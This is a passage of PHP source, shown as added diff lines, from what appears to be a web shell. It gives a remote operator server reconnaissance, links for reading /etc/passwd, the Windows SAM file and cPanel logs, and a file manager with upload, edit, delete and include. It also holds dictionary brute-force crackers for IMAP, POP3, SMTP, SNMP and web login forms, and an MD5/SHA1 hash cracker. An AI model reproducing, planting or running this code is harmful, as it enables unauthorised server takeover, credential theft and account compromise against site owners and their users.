= php_unamE(); +$osn=php_unamE('s'); +if(!$windows){ +$ker = php_unamE('r'); +$o=($osn=="Linux")?"Linux+Kernel":$osn; +$os = str_replace($osn,"${mil}$o\">$osn</a>",$os); +$os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os); +$inpa=':'; +}else{ +$sam = $sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os); +} +$software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']); +echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">$os$osver</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">$software</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">$CPU</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>"; +if ($windows){ +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"".hlinK("seC=fm&workingdiR=$sysroot")."\">$sysroot</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\">Readable</a>"; else echo "Not readable";echo "</td></tr>"; +} +else +{ +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">"; +if (is_readable('/etc/passwd')) echo "<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; +if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\">Readable</a>"; else echo "Not readable";}else echo "Not found"; +echo "</td></tr>"; +} +$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">${mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlinK("seC=phpinfo&workingdiR=$cwd")."\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>";else echo "Not Found";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$safemode</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">$basedir</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle</a> ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">$uip</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">".getenv('HTTP_USER_AGENT')."</td></tr></table>"; +} +function checksuM($file){ +global $et; +echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\" bgcolor=\"#666666\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>$et"; +} +function listdiR($cwd,$task){ +$c= getcwd(); +$dh = opendir($cwd); +while ($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr = $cwd.DIRECTORY_SEPARATOR.$cont; +switch ($task){ +case '0':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '4':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break; +case '5':if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break; +} +if (is_dir($adr)) listdiR($adr,$_REQUEST['task']); +} +} +if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}} +if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}} +function filemanager(){ +global $windows,$msgbox,$errorbox,$t,$et,$hcwd; +$cwd= getcwd(); +$table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">"; +$td1n="<td width=\"22%\" bgcolor=\"#666666\">"; +$td2m="<td width=\"22%\" bgcolor=\"#808080\">"; +$td1i="<td width=\"5%\" bgcolor=\"#666666\">"; +$td2i="<td width=\"5%\" bgcolor=\"#808080\">"; +$tdnr="<td width=\"22%\" bgcolor=\"#800000\">"; +$tdw="<td width=\"22%\" bgcolor=\"#006E00\">"; +if (!empty($_REQUEST['task'])){ +if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7; +if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6; +echo "<font color=blue><pre>"; +listdiR($cwd,$_REQUEST['task']); +echo "</pre></font>"; +}else{ +if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){ +if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title="Destination"; +$ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis =(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad = $_REQUEST['rN']; +$title ="New name"; +$dis = "Rename"; +} +if (!!empty($_REQUEST['deS'])){ +echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=text value=\"";if(empty($_REQUEST['rN'])) echo $cwd; echo "\" size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>"; +}else{ +if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if (!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) { +$dh = opendir($_REQUEST['deL']); +$d=""; +while ($cont=readdir($dh)){$d++;} +if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!<td><tr></table><br>";else rmdir($_REQUEST['del']);}} +if (!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>"; +} +$select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlinK("seC=fm&workingdiR=$cwd")."\">--------</option><option value=\""; +if (!empty($_REQUEST['newf'])){ +if (!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],"");} +if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);} +} +if ($windows){ +echo "$table<td><b>Drives:</b> "; +for ($i=66;$i<=90;$i++){$drive= chr($i).':'; +if (is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";} +} +echo $et; +} +echo "$table<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table>"; +$file=array();$dir=array();$link=array(); +if($dirhandle = opendir($cwd)){ +while ($cont=readdir($dirhandle)){ +if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont; +elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>"; +$i=0; +foreach($dir as $dn){ +echo "<tr>"; +$i++; +$own="Unknow"; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date("Y/m/d H:i:s",filemtime($dn)); +$adate=date("Y/m/d H:i:s",fileatime($dn)); +$diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."\">Remove</option></select></td>"; +if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=fm&workingdiR=".realpath($dn))."\">"; +if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "</td>"; +echo "$cl1------</td>"; +echo $cl2.$diraction; +echo "</tr>" ; +flusheR(); +} +foreach($file as $fn){ +echo "<tr>"; +$i++; +$own = "Unknow"; +$owner = posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$fn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."\">Remove</option></select></td>"; +$mdate = date("Y/m/d H:i:s",filemtime($fn)); +$adate = date("Y/m/d H:i:s",fileatime($fn)); +if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +$size = showsizE(filesize($fn)); +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">"; +if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "</td>"; +echo "$cl1$size</td>"; +echo $td2m.$fileaction; +echo "</tr>" ; +flusheR(); +} +foreach($link as $ln){ +$own = "Unknow"; +$i++; +$owner = posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."\">Remove</option></select></td>"; +$mdate = date("Y/m/d H:i:s",filemtime($ln)); +$adate = date("Y/m/d H:i:s",fileatime($ln)); +if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +echo "<tr>"; +$size = showsizE(filesize($ln)); +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."\">"; +if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>"; +echo "$cl1$size</td>"; +echo $cl2.$linkaction; +echo "</tr>" ; +flusheR(); +} +} +$dc = count($dir)-2; +if($dc==-2)$dc=0; +$fc = count($file); +$lc = count($link); +$total = $dc + $fc + $lc; +echo "$table<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>$td1n<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Upload:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</td></tr></form></table>$et"; +} +} +function imaplogiN($host,$username,$password){ +$sock=fsockopen($host,143,$n,$s,5); +$b=namE(); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +if ($res == "$b OK")return 1;else return 0; +fclose($sock); +} +function pop3logiN($server,$user,$pass){ +$sock=fsockopen($server,110,$en,$es,5); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function imapcrackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$imap=imaplogiN($target,$user,$pass); +if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}IMAP cracker:$crack"; +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$crack,$hcwd; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res)echo "$com<br>"; +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function pop3crackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$pop3=pop3logiN($target,$user,$pass); +if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}POP3 cracker:$crack"; +} +function smtpcrackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$smtp=smtplogiN($target,$user,$pass,5); +if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($smtp){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SMTP cracker:$crack"; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo "<font color=blue>Cracking started...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;} +flusheR(); +} +fclose($dictionary); +echo "Done!</font><br>"; +} +else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR(); +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;} +} +echo "Done!</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "<center>${t}Hash cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td 